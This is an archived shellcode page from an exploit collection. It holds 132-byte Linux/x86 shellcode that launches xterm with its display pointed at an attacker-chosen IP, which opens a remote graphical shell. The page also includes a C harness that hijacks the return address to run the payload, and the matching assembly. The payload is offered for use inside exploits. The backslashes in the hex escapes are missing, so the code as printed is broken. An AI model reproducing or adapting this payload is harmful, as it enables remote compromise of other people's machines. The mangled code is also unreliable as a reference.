[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 xterm -ut -display [IP]:0 132 bytes
# Published : 2004-09-26
# Author : RaiSe
# Previous Title : linux/x86 eject /dev/cdrom 64 bytes
# Next Title : linux/x86 ipchains -F 49 bytes


/*
 *  Linux/x86
 *  
 *  execve() of /usr/X11R6/bin/xterm -ut -display ip:0, exit()
 *  127.0.0.1 is an example, you must change it to a useful ip 
 *  (making a subrutine into the exploit?)
 *  - you must not delete 'K' after ip:0 -
 */
#include <stdio.h>

char shellcode[] =
"xebx4fx5ex31xd2x88x56x14x88x56x18x88x56x21xb2x2b"
"x31xc9xb1x09x80x3cx32x4bx74x05x42xe2xf7xebx2bx88"
"x34x32x31xd2x89xf3x89x76x36x8dx7ex15x89x7ex3ax8d"
"x7ex19x89x7ex3ex8dx7ex22x89x7ex42x89x56x46x8dx4e"
"x36x8dx56x46x31xc0xb0x0bxcdx80x31xdbx89xd8x40xcd"
"x80xe8xacxffxffxff"
"/usr/X11R6/bin/xterm8-ut8-display8127.0.0.1:0K";

main() {
        int *ret;
        ret=(int *)&ret+2;
        printf("Shellcode lenght=%dn",strlen(shellcode));
        (*ret) = (int)shellcode;
}

/* Code */
/* 
__asm__("
jmp    0x4f
popl   %esi
xorl   %edx,%edx
movb   %dl,0x14(%esi)
movb   %dl,0x18(%esi)
movb   %dl,0x21(%esi)
movb   $0x2b,%dl
xorl   %ecx,%ecx
movb   $0x9,%cl
cmpb   $0x4b,(%edx,%esi)
je     0x5
inc    %edx
loop   -0x9
jmp    0x2b
movb   %dh,(%edx,%esi)
xorl   %edx,%edx
movl   %esi,%ebx
movl   %esi,0x36(%esi)
leal   0x15(%esi),%edi
movl   %edi,0x3a(%esi)
leal   0x19(%esi),%edi
movl   %edi,0x3e(%esi)
leal   0x22(%esi),%edi
movl   %edi,0x42(%esi)
movl   %edx,0x46(%esi)
leal   0x36(%esi),%ecx
leal   0x46(%esi),%edx
xorl   %eax,%eax
movb   $0xb,%eax
int    $0x80
xorl   %ebx,%ebx
movl   %ebx,%eax
inc    %eax
int    $0x80
call   -0x54
.string "/usr/X11R6/bin/xterm8-ut8-display8127.0.0.1:0K"
");
*/

/*
RaiSe <raise@undersec.com>
http://www.undersec.com
*/

// www.Syue.com [2004-09-26]